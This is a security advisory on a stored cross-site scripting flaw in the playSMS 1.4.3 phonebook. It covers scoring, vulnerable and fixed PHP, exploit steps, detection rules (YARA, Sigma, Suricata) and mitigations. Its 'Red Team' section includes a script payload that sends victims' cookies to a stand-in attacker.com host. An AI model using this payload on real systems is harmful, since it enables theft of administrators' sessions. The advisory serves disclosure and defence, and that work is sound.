CVE-2024-6251

Executive Summary

CVE-2024-6251 is a stored cross-site scripting (XSS) vulnerability in playSMS version 1.4.3, specifically within the phonebook management feature. The flaw exists in the /index.php?app=main&inc=feature_phonebook&op=phonebook_list endpoint, where the name and email parameters are not properly sanitized before being stored and later rendered in the phonebook list view. An attacker can inject arbitrary JavaScript or HTML into these fields, which will execute in the context of any administrator or user who views the phonebook list. The vendor has not responded to disclosure attempts, and no official patch is available. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the public availability of a proof-of-concept (PoC) increases the risk for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. playSMS is a standalone PHP web application. The risk is limited to organizations that self-host playSMS.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim must view the phonebook list.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of content possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a patch and public PoC elevates the risk for organizations using playSMS.

Deep Dive & Mechanics

The vulnerability resides in the phonebook feature of playSMS. When a user creates a new phonebook entry via the /index.php?app=main&inc=feature_phonebook&op=phonebook_list endpoint, the name and email parameters are stored in the database without proper sanitization or output encoding. When the phonebook list is rendered, these values are inserted directly into the HTML without escaping, allowing an attacker to inject arbitrary HTML or JavaScript.

Attack Flow:

1. An attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) in the name or email field.
2. The payload is submitted via a POST request to the vulnerable endpoint.
3. The payload is stored in the database.
4. When an administrator or user views the phonebook list, the payload is executed in their browser.

Root Cause: The application fails to sanitize user input and does not use context-appropriate output encoding (e.g., htmlspecialchars() in PHP) when rendering the phonebook entries.

Vulnerable vs. Patched Code

Since no official patch is available, the following shows the vulnerable code pattern and a recommended fix.

Vulnerable Code (PHP):

// Vulnerable: Direct output without sanitization
echo "<tr><td>" . $row['name'] . "</td><td>" . $row['email'] . "</td></tr>";

Patched Code (PHP):

// Patched: Use htmlspecialchars to escape output
echo "<tr><td>" . htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8') . "</td><td>" . htmlspecialchars($row['email'], ENT_QUOTES, 'UTF-8') . "</td></tr>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of playSMS 1.4.3.
• Access to the phonebook creation form (no authentication required).

Exploit Steps:

1. Navigate to the phonebook creation page: http://target/index.php?app=main&inc=feature_phonebook&op=phonebook_list
2. Submit a new phonebook entry with the following payload in the name field:

   <script>alert('XSS')</script>
   

3. Alternatively, use a more sophisticated payload to steal cookies:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Wait for an administrator to view the phonebook list. The payload will execute.

Lab Setup:

• Use Docker to quickly deploy a vulnerable instance:

  docker run -d -p 80:80 --name playsms_vuln playsms/playsms:1.4.3
  

• Access the application at http://localhost.

Blue Team

Detection:

• Monitor for unusual POST requests to /index.php?app=main&inc=feature_phonebook&op=phonebook_list containing HTML tags or JavaScript.
• Look for anomalous characters in the name and email parameters (e.g., <, >, script).

Mitigation:

• Apply input validation to reject or sanitize HTML tags in phonebook fields.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use Web Application Firewall (WAF) rules to block common XSS payloads.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /index.php?app=main&inc=feature_phonebook&op=phonebook_list with name or email parameters containing <script> tags.
  • Outbound HTTP requests to attacker-controlled domains from the playSMS server (if cookie theft is successful).

• Host:

  • Database entries in the phonebook table containing HTML or JavaScript code.
  • Log entries showing failed or suspicious phonebook creation attempts.

• File:

  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2024_6251_playSMS_XSS {
    meta:
        description = "Detects XSS payloads targeting playSMS phonebook feature"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6251"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $xss_event = /on\w+\s*=\s*['\"].*?['\"]/is
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: Suspicious Phonebook Creation in playSMS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attempts via phonebook creation in playSMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/index.php?app=main&inc=feature_phonebook&op=phonebook_list'
        cs-uri-query|contains: 
            - '<script'
            - 'onload'
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate use of HTML in phonebook fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6251 playSMS XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?app=main&inc=feature_phonebook&op=phonebook_list"; http_uri; pcre:"/(<script|on\w+\s*=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the phonebook feature if not essential, by removing or restricting access to the feature_phonebook module.
2. Apply input validation to reject any HTML tags in the name and email fields.
3. Implement output encoding using htmlspecialchars() in PHP or equivalent in other languages.

Long-term Fix:

• Upgrade to a patched version of playSMS once available.
• If no patch is released, consider migrating to an alternative SMS gateway solution.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enable Content Security Policy (CSP) headers to restrict script execution.
• Conduct regular security audits and penetration testing.

Valters IT
Securing Digital Frontiers